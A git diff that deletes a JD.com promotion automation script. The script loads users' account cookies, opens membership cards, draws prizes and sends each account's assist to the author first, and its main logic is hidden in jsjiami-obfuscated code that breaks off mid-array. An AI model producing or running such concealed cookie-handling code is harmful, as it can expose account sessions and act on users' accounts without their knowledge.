diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/.DS_Store differ diff --git a/gua_opencard200.js b/gua_opencard200.js deleted file mode 100644 index 788c152..0000000 --- a/gua_opencard200.js +++ /dev/null @@ -1,80 +0,0 @@ -/* eslint-disable */ -/* -7.24~8.4 甜蜜七夕 跨越时空中意你 [gua_opencard200.js] -新增开卡脚本 -一次性脚本 - -1.邀请一人20豆 -2.开2组(共17张) 成功开1组 获得1次抽奖 -3.关注10京豆 -4.加购5京豆 - (默认不加购 如需加购请设置环境变量[guaopencard_addSku200]为"true" -5.关注频道10京豆 - - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard200="true" -每个账号之间延迟 100=延迟100秒 0=延迟0秒会使用每3个账号延迟60秒 -guaopenwait_All 所有 -guaopenwait200="0" - - -All变量适用 -———————————————— -入口:[ 7.24~8.4 甜蜜七夕 跨越时空中意你 (https://lzdz1-isv.isvjcloud.com/dingzhi/jul/qixiSecond/activity?activityId=dz32b9e7834db5821a2c983c10d854)] - -请求太频繁会被黑ip -过10分钟再执行 - -cron: -============Quantumultx=============== -[task_local] -#7.24~8.4 甜蜜七夕 跨越时空中意你 - https://raw.githubusercontent.com/smiek2121/scripts/master/gua_opencard200.js, tag=7.24~8.4 甜蜜七夕 跨越时空中意你, enabled=true - -*/ -let guaopencard_addSku = 'false' // 加购 -let guaopencard = 'false' // 执行 -let guaopenwait = 0 // 等待(秒) -let guaopencard_draw = 0 // 抽奖次数 - -const $ = new Env('7.24~8.4 甜蜜七夕 跨越时空中意你') - - -let assistNum = 5 // 助力上限次数 -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '' -const notify = $.isNode() ? require('./sendNotify') : '' -let cleanCart = '' -CryptoScripts() -$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS -//IOS等用户直接用NobyDa的jd cookie - -let cookiesArr = [], -cookie = '' -if ($.isNode()) { - try{ - const fs = require('fs') - if (fs.existsSync('./cleancart_activity.js')) cleanCart = require('./cleancart_activity') - }catch(e){ } - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {} -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || '[]').map(item => item.cookie)].filter(item => !!item) -} -var _0xodL='jsjiami.com.v6',_0xodL_=['‮_0xodL'],_0x577a=[_0xodL,'\x56\x69\x4e\x35\x77\x72\x51\x58','\x77\x72\x6c\x41\x4f\x53\x56\x51\x64\x4d\x4f\x52\x77\x70\x67\x33\x52\x4d\x4b\x42\x50\x77\x3d\x3d','\x77\x36\x66\x43\x75\x63\x4f\x78\x44\x73\x4f\x4a\x77\x71\x39\x6f\x51\x67\x77\x3d','\x77\x35\x37\x43\x70\x69\x76\x44\x67\x38\x4b\x74','\x77\x71\x38\x78\x49\x47\x56\x70','\x47\x67\x6e\x43\x75\x73\x4f\x39\x77\x35\x30\x3d','\x77\x36\x45\x45\x77\x36\x4d\x7a\x77\x6f\x30\x3d','\x35\x72\x53\x64\x35\x59\x71\x57\x35\x62\x65\x39\x35\x37\x75\x64\x35\x70\x2b\x62','\x46\x73\x4b\x4b\x77\x37\x6f\x35\x77\x70\x38\x3d','\x77\x72\x50\x44\x68\x52\x7a\x44\x6a\x73\x4b\x79','\x77\x71\x45\x31\x77\x36\x58\x43\x6d\x63\x4b\x35','\x77\x34\x33\x43\x6e\x4d\x4f\x37\x63\x55\x41\x3d','\x54\x6b\x70\x37\x66\x73\x4f\x33\x5a\x73\x4f\x66\x64\x4d\x4f\x61\x48\x73\x4b\x73\x47\x38\x4f\x49\x56\x73\x4b\x68\x44\x38\x4b\x64\x64\x78\x4c\x44\x6f\x73\x4f\x31\x77\x36\x49\x46\x46\x73\x4b\x57\x48\x63\x4b\x47\x4c\x6b\x33\x43\x71\x63\x4f\x59\x77\x36\x42\x4d\x54\x6e\x76\x44\x69\x38\x4b\x62\x77\x6f\x6c\x72\x47\x73\x4f\x2b\x4f\x38\x4b\x42\x4a\x4d\x4f\x49\x4a\x63\x4b\x48\x48\x73\x4b\x59\x77\x72\x33\x44\x67\x4d\x4f\x56\x52\x73\x4b\x77\x64\x73\x4b\x4a\x77\x35\x48\x44\x6b\x38\x4f\x79\x56\x38\x4b\x49\x52\x63\x4f\x34\x44\x4d\x4b\x4c\x77\x34\x73\x58\x45\x73\x4f\x64\x4b\x51\x6a\x44\x6f\x4d\x4b\x31\x77\x34\x5a\x6d','\x77\x37\x2f\x44\x70\x79\x54\x43\x76\x51\x72\x44\x6c\x63\x4b\x43\x77\x36\x2f\x43\x74\x67\x3d\x3d','\x4b\x4d\x4f\x47\x77\x35\x55\x3d','\x4a\x78\x33\x44\x68\x73\x4b\x6e\x46\x67\x3d\x3d','\x4e\x44\x66\x44\x6f\x38\x4b\x34\x44\x77\x3d\x3d','\x77\x6f\x62\x43\x6a\x73\x4b\x47\x77\x6f\x38\x50','\x77\x70\x7a\x43\x74\x4d\x4b\x73\x77\x36\x6f\x2f','\x77\x72\x42\x78\x43\x7a\x52\x69','\x77\x36\x4c\x44\x72\x63\x4f\x72\x4a\x54\x6f\x3d','\x4c\x58\x41\x68\x66\x4d\x4f\x36','\x77\x36\x51\x2f\x62\x43\x72\x43\x76\x67\x3d\x3d','\x77\x36\x6e\x44\x76\x54\x66\x43\x72\x41\x44\x44\x70\x4d\x4b\x53','\x77\x36\x4a\x61\x61\x73\x4b\x64\x77\x6f\x34\x3d','\x43\x51\x68\x33\x62\x6a\x30\x3d','\x44\x4d\x4b\x69\x77\x35\x59\x4c\x77\x71\x59\x3d','\x55\x73\x4b\x49\x42\x56\x44\x43\x6d\x32\x58\x43\x68\x67\x3d\x3d','\x48\x30\x66\x44\x6d\x51\x3d\x3d','\x77\x36\x58\x44\x76\x44\x50\x43\x67\x41\x33\x44\x70\x73\x4b\x43\x77\x37\x58\x43\x73\x63\x4f\x43\x61\x44\x58\x44\x70\x41\x59\x3d','\x51\x6a\x34\x78\x5a\x63\x4f\x6d','\x77\x34\x50\x43\x67\x73\x4f\x75\x61\x56\x30\x3d','\x77\x72\x58\x44\x6f\x41\x48\x44\x68\x6b\x30\x39\x42\x46\x30\x69\x77\x72\x63\x3d','\x77\x6f\x7a\x44\x73\x69\x66\x44\x70\x32\x67\x3d','\x48\x48\x72\x43\x67\x6a\x6c\x2f','\x77\x37\x6c\x41\x64\x63\x4b\x2b\x77\x6f\x78\x37\x77\x72\x67\x3d','\x77\x70\x54\x44\x6c\x54\x7a\x43\x6d\x4d\x4f\x4d','\x61\x73\x4b\x72\x5a\x73\x4f\x75','\x77\x36\x33\x43\x68\x38\x4b\x4b\x77\x37\x45\x59\x77\x37\x30\x62\x4c\x38\x4b\x70\x64\x6a\x44\x6f\x72\x70\x58\x6d\x73\x4a\x6a\x6c\x70\x5a\x62\x6f\x74\x59\x4c\x76\x76\x71\x37\x6f\x72\x4a\x4c\x6d\x6f\x6f\x54\x6d\x6e\x72\x2f\x6e\x76\x34\x4c\x6f\x74\x49\x2f\x70\x68\x72\x2f\x6f\x72\x6f\x41\x3d','\x48\x6b\x6e\x44\x69\x73\x4b\x39\x4d\x67\x3d\x3d','\x77\x70\x58\x43\x6e\x38\x4b\x73\x51\x41\x77\x3d','\x47\x63\x4b\x77\x77\x37\x6c\x74\x42\x38\x4f\x64\x77\x34\x54\x43\x6c\x73\x4b\x51\x77\x70\x49\x52','\x43\x68\x52\x71\x52\x69\x63\x3d','\x77\x37\x7a\x44\x6f\x73\x4f\x43\x43\x6a\x77\x3d','\x49\x38\x4f\x4d\x77\x34\x59\x6a\x77\x36\x6e\x43\x6e\x51\x3d\x3d','\x77\x37\x73\x46\x77\x34\x67\x73\x77\x6f\x4d\x3d','\x42\x51\x37\x44\x73\x38\x4b\x4c\x42\x67\x3d\x3d','\x77\x36\x59\x58\x65\x57\x4c\x43\x6c\x77\x3d\x3d','\x41\x42\x6e\x44\x73\x63\x4b\x62\x43\x41\x3d\x3d','\x4c\x63\x4b\x6e\x77\x37\x56\x70\x43\x77\x3d\x3d','\x47\x63\x4b\x56\x77\x72\x70\x78\x44\x58\x54\x43\x71\x51\x3d\x3d','\x35\x71\x79\x30\x4b\x38\x4b\x6b\x35\x62\x57\x46\x36\x4b\x43\x48\x36\x5a\x71\x76\x35\x59\x71\x55\x37\x37\x36\x6a\x36\x4b\x2b\x43\x36\x4c\x36\x45\x65\x38\x4b\x56\x35\x59\x75\x41\x36\x5a\x4b\x38\x35\x5a\x4b\x38\x35\x59\x53\x65\x35\x6f\x71\x48\x36\x4b\x4b\x2b\x36\x49\x61\x4c\x35\x70\x2b\x74\x77\x70\x4d\x3d','\x44\x6a\x37\x44\x73\x38\x4b\x6d\x4a\x38\x4b\x52\x77\x34\x38\x3d','\x77\x34\x56\x51\x64\x63\x4f\x56\x77\x71\x4e\x31\x77\x72\x41\x68\x77\x34\x70\x37','\x77\x72\x41\x66\x42\x31\x35\x57','\x77\x34\x33\x44\x72\x41\x44\x43\x6d\x6a\x59\x3d','\x42\x55\x33\x44\x6b\x38\x4b\x70\x4c\x51\x3d\x3d','\x77\x71\x66\x44\x74\x78\x54\x44\x6d\x30\x34\x6e\x4d\x30\x73\x46\x77\x72\x33\x43\x72\x47\x6a\x43\x72\x38\x4f\x61\x49\x73\x4f\x79\x77\x72\x45\x3d','\x77\x71\x44\x43\x72\x6a\x54\x44\x6e\x57\x73\x3d','\x77\x72\x55\x4b\x42\x6b\x42\x56','\x43\x58\x54\x43\x74\x42\x46\x6a','\x41\x73\x4f\x41\x55\x57\x2f\x44\x73\x41\x3d\x3d','\x77\x71\x7a\x43\x67\x4d\x4b\x42\x77\x35\x30\x53\x77\x36\x59\x4b','\x43\x6b\x63\x47\x51\x38\x4f\x39\x4b\x77\x3d\x3d','\x77\x6f\x6b\x51\x77\x37\x6a\x43\x71\x63\x4b\x59\x77\x72\x49\x3d','\x46\x38\x4b\x45\x77\x71\x70\x6b\x43\x6d\x41\x3d','\x77\x35\x6f\x63\x66\x32\x50\x43\x71\x68\x44\x43\x71\x33\x51\x3d','\x77\x34\x72\x43\x68\x43\x50\x44\x71\x4d\x4b\x57\x77\x70\x30\x3d','\x42\x63\x4b\x46\x77\x72\x70\x44\x43\x48\x76\x43\x71\x51\x59\x3d','\x49\x7a\x4c\x43\x75\x4d\x4f\x65\x77\x35\x67\x3d','\x77\x70\x50\x44\x72\x68\x76\x44\x6f\x73\x4b\x37','\x4d\x4d\x4b\x34\x77\x37\x77\x48\x77\x70\x45\x3d','\x77\x6f\x34\x50\x4b\x30\x42\x34','\x77\x71\x48\x43\x71\x4d\x4b\x6d\x77\x34\x34\x2f','\x77\x6f\x48\x43\x6b\x4d\x4b\x76\x77\x70\x38\x79','\x4c\x73\x4f\x41\x77\x35\x55\x50\x77\x36\x33\x43\x68\x73\x4f\x50\x77\x72\x68\x66\x77\x34\x46\x48\x77\x35\x76\x44\x6d\x6e\x46\x49\x46\x4d\x4b\x58','\x46\x45\x7a\x44\x6d\x38\x4b\x50\x4b\x77\x3d\x3d','\x77\x36\x50\x44\x75\x38\x4b\x4d\x44\x73\x4f\x37','\x77\x35\x5a\x6f\x77\x71\x76\x43\x72\x56\x30\x3d','\x47\x63\x4b\x77\x77\x37\x6c\x74\x42\x38\x4f\x64\x77\x34\x54\x43\x6c\x73\x4b\x57\x77\x70\x4d\x61\x66\x4d\x4f\x49\x56\x69\x51\x37\x77\x34\x67\x3d','\x48\x33\x33\x43\x6b\x79\x5a\x4f','\x77\x72\x66\x44\x6f\x53\x44\x43\x75\x78\x6a\x44\x72\x38\x4b\x46\x77\x36\x33\x44\x76\x63\x4f\x55\x64\x54\x7a\x44\x76\x78\x31\x59\x4a\x68\x48\x43\x6f\x77\x4c\x43\x6c\x51\x51\x34\x77\x6f\x31\x69\x51\x63\x4f\x62\x77\x36\x33\x44\x75\x45\x33\x44\x75\x43\x4c\x44\x69\x6a\x58\x43\x70\x33\x38\x67\x77\x71\x44\x43\x6a\x73\x4f\x56\x4c\x38\x4f\x47\x77\x36\x48\x44\x68\x43\x37\x44\x68\x63\x4f\x65\x4a\x6a\x4c\x44\x6e\x4d\x4b\x4a\x4e\x63\x4b\x78\x77\x36\x50\x43\x71\x6a\x62\x44\x6d\x54\x72\x44\x67\x7a\x55\x48\x77\x34\x48\x44\x6e\x63\x4b\x59\x48\x4d\x4b\x4e\x46\x63\x4f\x39\x57\x4d\x4f\x2b\x77\x71\x2f\x44\x67\x4d\x4f\x51\x77\x37\x2f\x43\x70\x73\x4b\x57\x77\x71\x33\x44\x68\x55\x2f\x44\x6d\x6c\x44\x44\x74\x38\x4f\x78\x77\x35\x48\x43\x6c\x4d\x4f\x2f\x52\x38\x4b\x44\x77\x35\x70\x59\x54\x38\x4b\x41\x5a\x38\x4f\x6d\x4c\x30\x56\x38\x77\x36\x66\x43\x75\x4d\x4b\x43\x45\x73\x4b\x33\x45\x63\x4f\x54\x66\x42\x62\x43\x6b\x38\x4f\x59\x77\x35\x76\x43\x72\x32\x33\x44\x69\x6d\x56\x34\x77\x6f\x72\x43\x72\x68\x4d\x35\x4c\x6a\x33\x44\x75\x4d\x4b\x6d\x77\x71\x48\x43\x70\x68\x73\x6f\x5a\x30\x5a\x59\x4b\x73\x4b\x66\x46\x63\x4f\x6b\x4a\x77\x74\x46\x66\x73\x4b\x2f\x77\x6f\x6a\x44\x6f\x38\x4f\x67\x77\x34\x50\x44\x75\x48\x62\x43\x74\x4d\x4b\x54\x77\x71\x52\x44\x77\x71\x4e\x4e\x4c\x4d\x4b\x4d\x46\x38\x4b\x59\x51\x63\x4b\x6a\x77\x72\x4d\x46\x77\x37\x56\x65\x77\x36\x33\x43\x73\x63\x4b\x73\x77\x70\x55\x48\x44\x30\x4c\x43\x6e\x73\x4b\x30\x49\x43\x34\x69\x55\x63\x4f\x6a\x50\x54\x44\x43\x69\x31\x70\x62\x62\x38\x4b\x36\x77\x37\x44\x43\x70\x41\x63\x58\x49\x38\x4b\x4c\x4d\x77\x58\x44\x76\x30\x62\x44\x71\x4d\x4b\x6f\x77\x72\x54\x43\x69\x63\x4b\x64\x77\x6f\x54\x44\x71\x73\x4b\x51\x56\x54\x56\x51\x77\x6f\x44\x43\x73\x6d\x72\x43\x6c\x6d\x72\x44\x75\x63\x4f\x52\x4b\x4d\x4b\x53\x77\x6f\x5a\x79\x77\x70\x73\x5a','\x77\x71\x76\x43\x70\x43\x54\x44\x71\x6c\x72\x43\x6e\x69\x6a\x43\x71\x47\x54\x44\x76\x38\x4b\x5a\x77\x34\x74\x6b\x77\x36\x72\x44\x6e\x73\x4f\x2f','\x77\x70\x33\x44\x74\x42\x72\x44\x69\x4d\x4b\x5a','\x59\x4d\x4f\x6b\x77\x36\x78\x53\x77\x72\x76\x44\x70\x51\x3d\x3d','\x77\x36\x62\x44\x6b\x44\x76\x43\x68\x67\x45\x3d','\x77\x36\x67\x4c\x61\x77\x48\x43\x6a\x67\x3d\x3d','\x77\x71\x58\x43\x67\x77\x73\x36\x52\x51\x3d\x3d','\x36\x4b\x32\x35\x35\x59\x71\x59\x36\x5a\x71\x4c\x35\x6f\x57\x68\x35\x5a\x2b\x55\x77\x6f\x58\x44\x70\x73\x4b\x41\x77\x70\x34\x4f\x36\x4c\x79\x4c\x35\x59\x57\x70\x35\x71\x43\x71\x35\x4c\x79\x4b\x35\x70\x61\x45\x35\x59\x57\x6c\x35\x61\x79\x56\x64\x2b\x57\x35\x72\x65\x69\x75\x6e\x4f\x6d\x42\x72\x4f\x69\x38\x71\x75\x69\x48\x73\x2b\x61\x64\x71\x2b\x57\x4f\x6e\x2b\x69\x4f\x72\x2b\x57\x50\x74\x69\x66\x44\x68\x73\x4b\x38\x52\x6a\x34\x75','\x77\x6f\x62\x43\x6a\x77\x54\x44\x6f\x30\x63\x3d','\x77\x72\x4d\x31\x44\x56\x4e\x6f','\x46\x68\x78\x41\x5a\x77\x77\x3d','\x77\x72\x58\x44\x6c\x7a\x45\x3d','\x77\x36\x72\x43\x74\x52\x50\x44\x73\x38\x4b\x69\x77\x71\x76\x43\x71\x77\x54\x44\x6b\x6c\x76\x43\x6b\x38\x4b\x49','\x35\x72\x57\x64\x35\x59\x75\x7a\x35\x37\x6d\x42\x35\x70\x36\x64','\x44\x63\x4b\x6a\x77\x35\x6b\x4c\x77\x71\x37\x43\x71\x4d\x4b\x6f\x64\x38\x4f\x5a','\x35\x71\x36\x63\x77\x70\x66\x43\x71\x4f\x57\x33\x6b\x65\x69\x6a\x6a\x2b\x6d\x62\x6c\x75\x57\x4c\x74\x4f\x2b\x2f\x6a\x2b\x69\x75\x73\x4f\x69\x38\x68\x48\x50\x44\x6f\x65\x57\x4a\x69\x2b\x6d\x54\x6e\x2b\x57\x53\x70\x2b\x57\x47\x69\x4f\x61\x4c\x76\x65\x69\x68\x76\x4f\x69\x46\x73\x65\x61\x66\x76\x4d\x4f\x71','\x35\x62\x53\x61\x35\x61\x2b\x34\x35\x6f\x71\x4d\x35\x59\x6d\x61\x36\x4c\x65\x65','\x49\x32\x73\x6e\x56\x4d\x4f\x62','\x77\x37\x6c\x58\x61\x38\x4b\x64\x77\x6f\x4e\x75','\x77\x71\x46\x37\x64\x68\x56\x67','\x77\x35\x76\x43\x72\x63\x4f\x36\x66\x57\x41\x3d','\x77\x70\x62\x44\x76\x44\x72\x44\x68\x63\x4b\x46','\x56\x53\x42\x33\x77\x71\x48\x44\x75\x51\x3d\x3d','\x47\x31\x6b\x30\x59\x38\x4f\x45','\x35\x72\x57\x44\x35\x59\x6d\x6c\x35\x61\x61\x58\x35\x34\x43\x46\x35\x34\x75\x4f\x37\x37\x2b\x4e\x36\x4b\x79\x78\x35\x36\x69\x66\x35\x5a\x4b\x7a\x35\x59\x53\x35\x36\x4b\x2b\x44','\x77\x6f\x48\x43\x72\x7a\x37\x44\x6e\x56\x51\x3d','\x54\x38\x4f\x78\x77\x72\x37\x44\x6d\x63\x4b\x31','\x4d\x73\x4f\x45\x77\x34\x42\x38\x77\x37\x70\x41\x59\x42\x68\x43\x77\x36\x31\x70\x77\x37\x76\x44\x6d\x31\x51\x3d','\x77\x72\x2f\x43\x6a\x79\x6e\x44\x69\x31\x34\x3d','\x77\x37\x54\x44\x67\x63\x4b\x37','\x4e\x38\x4f\x58\x77\x34\x64\x6f\x77\x6f\x45\x4a\x63\x42\x56\x79\x77\x36\x52\x6d\x77\x36\x76\x44\x6d\x77\x70\x78\x42\x4d\x4f\x56','\x77\x6f\x41\x41\x77\x36\x6a\x43\x69\x73\x4b\x41\x77\x37\x30\x55\x61\x38\x4b\x6a\x62\x78\x66\x43\x70\x63\x4b\x55\x4b\x68\x77\x41\x59\x38\x4b\x70\x77\x36\x6b\x5a\x58\x38\x4b\x76\x56\x7a\x6e\x43\x75\x79\x62\x44\x71\x7a\x6b\x3d','\x45\x73\x4b\x69\x77\x35\x51\x41\x77\x70\x37\x43\x70\x4d\x4b\x6f\x64\x73\x4f\x59\x77\x34\x5a\x66\x47\x77\x3d\x3d','\x77\x72\x7a\x43\x75\x38\x4f\x5a\x77\x6f\x4d\x72','\x4f\x73\x4f\x39\x77\x35\x31\x71\x77\x35\x73\x3d','\x49\x30\x48\x44\x73\x38\x4b\x30\x43\x51\x3d\x3d','\x77\x36\x33\x44\x6a\x38\x4b\x70\x45\x4d\x4f\x38','\x5a\x73\x4f\x4b\x77\x36\x46\x7a\x77\x71\x45\x3d','\x77\x6f\x72\x44\x70\x69\x2f\x44\x6b\x73\x4b\x50','\x4a\x4d\x4f\x52\x54\x46\x72\x44\x72\x67\x3d\x3d','\x48\x48\x55\x33\x77\x72\x7a\x43\x68\x77\x3d\x3d','\x43\x73\x4f\x79\x77\x34\x55\x44\x77\x37\x55\x3d','\x77\x70\x76\x43\x68\x38\x4f\x2f\x77\x70\x45\x57','\x77\x70\x54\x43\x6a\x69\x41\x35\x66\x77\x3d\x3d','\x77\x34\x45\x2b\x52\x6c\x2f\x43\x68\x67\x3d\x3d','\x44\x6c\x45\x51\x66\x38\x4f\x6b\x46\x47\x62\x43\x6c\x38\x4f\x39\x77\x34\x49\x76\x61\x73\x4f\x43','\x77\x34\x56\x30\x57\x38\x4b\x53\x77\x72\x49\x3d','\x77\x35\x38\x34\x55\x78\x70\x33\x77\x37\x4e\x65\x77\x34\x5a\x4d\x44\x63\x4f\x33\x45\x63\x4f\x39\x77\x71\x59\x3d','\x77\x70\x50\x44\x6b\x67\x44\x43\x6e\x4d\x4f\x66\x77\x36\x51\x57\x46\x57\x38\x36\x77\x36\x2f\x43\x6e\x38\x4b\x5a\x56\x77\x3d\x3d','\x48\x58\x6e\x44\x70\x4d\x4b\x6e\x4c\x4d\x4b\x48\x77\x35\x6b\x44\x77\x37\x76\x43\x76\x42\x52\x42\x61\x77\x3d\x3d','\x77\x34\x4c\x43\x6c\x6b\x33\x43\x6e\x38\x4f\x57\x77\x36\x67\x53\x4e\x58\x31\x78\x77\x71\x48\x44\x68\x41\x3d\x3d','\x77\x34\x48\x43\x6a\x79\x37\x44\x6c\x63\x4b\x72\x77\x6f\x33\x43\x6d\x6a\x58\x44\x70\x47\x7a\x43\x69\x4d\x4f\x52','\x77\x35\x49\x64\x77\x36\x73\x67\x77\x71\x6b\x65\x77\x70\x44\x43\x76\x73\x4f\x69\x61\x6a\x50\x44\x6d\x4d\x4f\x6e\x65\x46\x45\x3d','\x77\x72\x39\x6a\x61\x6a\x74\x49','\x77\x70\x2f\x43\x72\x6a\x6f\x73\x5a\x77\x3d\x3d','\x64\x38\x4f\x74\x77\x72\x76\x44\x69\x4d\x4b\x31','\x51\x68\x41\x79\x62\x4d\x4f\x58','\x77\x34\x7a\x44\x71\x38\x4b\x2b\x4c\x4d\x4f\x30','\x47\x45\x73\x44\x59\x73\x4f\x7a\x43\x33\x7a\x43\x6c\x38\x4f\x33','\x77\x71\x58\x43\x67\x67\x45\x55\x52\x41\x3d\x3d','\x64\x42\x31\x48\x77\x70\x76\x44\x68\x51\x3d\x3d','\x77\x72\x67\x64\x77\x37\x49\x3d','\x56\x73\x4f\x42\x77\x72\x7a\x44\x6e\x73\x4b\x4a','\x77\x72\x66\x43\x67\x4d\x4f\x31\x77\x72\x41\x6c\x65\x42\x55\x3d','\x77\x35\x33\x44\x6c\x42\x54\x44\x76\x51\x41\x3d','\x50\x63\x4b\x65\x77\x37\x64\x38\x4a\x41\x3d\x3d','\x77\x34\x4d\x51\x51\x6a\x66\x43\x6a\x67\x3d\x3d','\x77\x37\x4d\x47\x77\x36\x49\x3d','\x77\x6f\x77\x45\x77\x36\x37\x43\x6d\x63\x4b\x72','\x41\x63\x4f\x69\x77\x37\x4d\x46\x77\x36\x34\x3d','\x4a\x79\x76\x43\x67\x4d\x4f\x66\x77\x36\x30\x3d','\x77\x36\x76\x44\x67\x79\x62\x43\x6b\x67\x63\x3d','\x49\x32\x4d\x58\x77\x6f\x66\x43\x6e\x38\x4b\x79\x77\x36\x67\x6e\x61\x77\x62\x43\x6c\x33\x77\x64\x77\x70\x6e\x43\x72\x63\x4f\x4f\x77\x71\x49\x75\x61\x32\x54\x43\x6b\x63\x4f\x57\x42\x4d\x4b\x76\x54\x6b\x39\x50\x77\x35\x44\x43\x72\x67\x38\x48\x4a\x73\x4b\x67\x57\x44\x58\x44\x6d\x79\x4c\x44\x73\x73\x4f\x6d\x46\x56\x78\x6f\x52\x38\x4f\x34\x58\x63\x4b\x6b\x77\x35\x6e\x43\x67\x63\x4f\x50\x44\x6a\x33\x44\x74\x4d\x4b\x51\x53\x38\x4f\x72\x43\x42\x2f\x44\x72\x42\x4a\x2f\x45\x63\x4b\x76\x48\x48\x37\x44\x69\x56\x76\x43\x6b\x73\x4b\x2f\x77\x70\x34\x47\x77\x70\x66\x44\x6c\x57\x66\x44\x6a\x63\x4f\x39\x77\x71\x68\x62\x50\x63\x4b\x32\x77\x35\x51\x64\x4a\x38\x4f\x6d\x77\x70\x54\x44\x6a\x4d\x4b\x2f\x77\x35\x55\x3d','\x61\x38\x4b\x38\x53\x63\x4f\x6c\x46\x41\x3d\x3d','\x52\x73\x4f\x52\x77\x6f\x37\x44\x6a\x4d\x4b\x2f','\x41\x6c\x4d\x74\x65\x4d\x4f\x2f','\x77\x72\x30\x34\x77\x35\x48\x43\x6c\x4d\x4b\x69','\x4b\x38\x4f\x4d\x77\x34\x55\x70\x77\x34\x38\x3d','\x77\x6f\x77\x62\x77\x37\x6a\x43\x74\x63\x4b\x6e','\x77\x6f\x66\x43\x67\x69\x34\x47\x53\x41\x3d\x3d','\x54\x4d\x4b\x68\x49\x57\x66\x43\x6c\x67\x3d\x3d','\x77\x35\x7a\x43\x6f\x38\x4f\x50\x55\x32\x77\x3d','\x46\x51\x68\x52\x64\x77\x7a\x43\x74\x63\x4f\x79','\x53\x6c\x56\x46','\x46\x6c\x72\x44\x6a\x4d\x4b\x78\x4b\x48\x67\x6c\x77\x71\x63\x78\x63\x38\x4f\x75\x77\x35\x44\x43\x6a\x77\x3d\x3d','\x77\x70\x2f\x43\x68\x63\x4b\x77\x77\x6f\x55\x6e\x77\x71\x37\x43\x6c\x77\x3d\x3d','\x47\x55\x59\x52\x5a\x63\x4f\x36\x4b\x67\x3d\x3d','\x77\x6f\x72\x43\x6d\x38\x4b\x72\x56\x67\x6a\x44\x73\x67\x3d\x3d','\x77\x70\x72\x43\x71\x53\x34\x5a\x57\x56\x37\x44\x6f\x48\x30\x3d','\x57\x4d\x4b\x45\x45\x46\x66\x43\x73\x32\x7a\x43\x68\x52\x38\x3d','\x47\x31\x50\x43\x6f\x42\x31\x7a','\x77\x35\x7a\x44\x6f\x67\x50\x43\x6f\x44\x6b\x3d','\x35\x59\x65\x53\x35\x4c\x2b\x32\x36\x49\x79\x63\x35\x62\x36\x48\x4c\x67\x3d\x3d','\x77\x35\x50\x43\x68\x63\x4f\x59\x63\x33\x74\x4b\x77\x6f\x54\x43\x6b\x63\x4b\x2f\x46\x78\x6f\x7a\x48\x6c\x6b\x3d','\x4f\x38\x4f\x5a\x61\x48\x54\x44\x76\x51\x3d\x3d','\x4d\x56\x55\x46\x77\x70\x7a\x43\x74\x41\x3d\x3d','\x77\x6f\x31\x7a\x77\x35\x38\x4d\x77\x71\x51\x3d','\x77\x34\x56\x6a\x59\x4d\x4b\x4d\x77\x6f\x63\x3d','\x58\x38\x4f\x58\x77\x36\x4e\x42\x77\x71\x67\x3d','\x77\x37\x68\x38\x77\x71\x6e\x43\x74\x45\x6e\x43\x6c\x63\x4b\x6f','\x50\x63\x4f\x47\x51\x32\x66\x44\x70\x4d\x4b\x2f','\x58\x4d\x4f\x76\x77\x37\x68\x66\x77\x72\x63\x3d','\x55\x43\x4e\x72\x77\x36\x51\x64','\x55\x38\x4b\x43\x45\x51\x3d\x3d','\x43\x47\x67\x49\x63\x38\x4f\x76','\x77\x37\x37\x43\x69\x63\x4f\x78\x58\x56\x63\x3d','\x54\x63\x4b\x76\x55\x63\x4f\x47\x4e\x51\x3d\x3d','\x47\x73\x4b\x50\x77\x71\x6b\x3d','\x77\x35\x4c\x43\x6e\x38\x4f\x59\x58\x6d\x49\x3d','\x53\x55\x74\x37\x53\x4d\x4f\x6f\x50\x63\x4b\x58','\x54\x67\x52\x30\x77\x71\x55\x65','\x77\x37\x54\x44\x6f\x63\x4f\x32\x4b\x69\x76\x44\x6c\x77\x3d\x3d','\x43\x78\x68\x42\x5a\x77\x6a\x43\x6f\x63\x4f\x6b','\x77\x34\x34\x4b\x77\x37\x38\x35\x77\x6f\x72\x44\x6b\x63\x4f\x66','\x77\x70\x4c\x44\x6e\x78\x7a\x43\x6d\x63\x4f\x53\x77\x37\x4d\x3d','\x77\x72\x2f\x43\x67\x63\x4b\x57\x77\x36\x73\x66\x77\x36\x41\x3d','\x77\x6f\x38\x64\x77\x37\x72\x43\x6a\x73\x4b\x36\x77\x71\x6c\x64\x4b\x77\x3d\x3d','\x77\x72\x39\x61\x4c\x44\x68\x76\x61\x63\x4f\x78\x77\x70\x67\x3d','\x35\x59\x53\x31\x35\x4c\x36\x33\x36\x49\x79\x5a\x35\x62\x36\x50\x77\x70\x63\x3d','\x56\x6b\x68\x4c\x46\x38\x4b\x63\x77\x6f\x6b\x32\x4a\x42\x6f\x3d','\x4b\x4d\x4f\x35\x77\x36\x5a\x32\x77\x37\x77\x3d','\x77\x36\x44\x44\x6d\x73\x4f\x5a\x41\x51\x67\x3d','\x62\x43\x4a\x32','\x77\x71\x63\x56\x4a\x32\x64\x7a','\x4b\x7a\x64\x4b\x52\x51\x30\x3d','\x52\x31\x31\x37\x5a\x38\x4f\x79\x4e\x63\x4b\x45\x49\x73\x4f\x31\x43\x38\x4b\x6e\x43\x73\x4b\x51\x48\x73\x4b\x4a\x44\x73\x4b\x5a','\x54\x73\x4f\x70\x77\x36\x4e\x39\x77\x71\x63\x3d','\x77\x35\x54\x44\x6c\x78\x44\x43\x71\x69\x6f\x3d','\x4a\x4d\x4b\x76\x77\x72\x6c\x53\x45\x41\x3d\x3d','\x77\x71\x6c\x57\x77\x36\x4d\x4a\x77\x72\x77\x3d','\x77\x34\x50\x44\x6e\x38\x4b\x4f\x43\x63\x4f\x58','\x77\x70\x72\x43\x70\x54\x77\x2b\x65\x46\x2f\x44\x74\x6c\x33\x44\x76\x6a\x48\x43\x72\x4d\x4b\x43\x54\x63\x4f\x6f\x4f\x53\x39\x61\x77\x37\x5a\x50','\x77\x35\x58\x44\x74\x67\x6a\x44\x6c\x53\x67\x3d','\x